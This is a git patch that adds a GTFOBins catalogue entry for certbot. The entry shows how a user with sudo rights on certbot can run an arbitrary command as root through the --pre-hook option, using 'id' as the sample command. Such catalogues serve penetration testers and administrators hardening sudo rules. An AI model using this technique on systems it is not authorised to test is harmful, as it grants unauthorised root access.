From 160e8d5dcd55e320ec583dbd1d3cc52fba238176 Mon Sep 17 00:00:00 2001 From: Emanuel Duss Date: Thu, 1 Apr 2021 17:18:35 +0200 Subject: [PATCH] New: certbot --- _gtfobins/certbot.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 _gtfobins/certbot.md diff --git a/_gtfobins/certbot.md b/_gtfobins/certbot.md new file mode 100644 index 0000000..3da704a --- /dev/null +++ b/_gtfobins/certbot.md @@ -0,0 +1,9 @@ +--- +functions: + sudo: + - description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output. + code: | + COMMAND='id' + TF=$(mktemp -d) + sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND" +---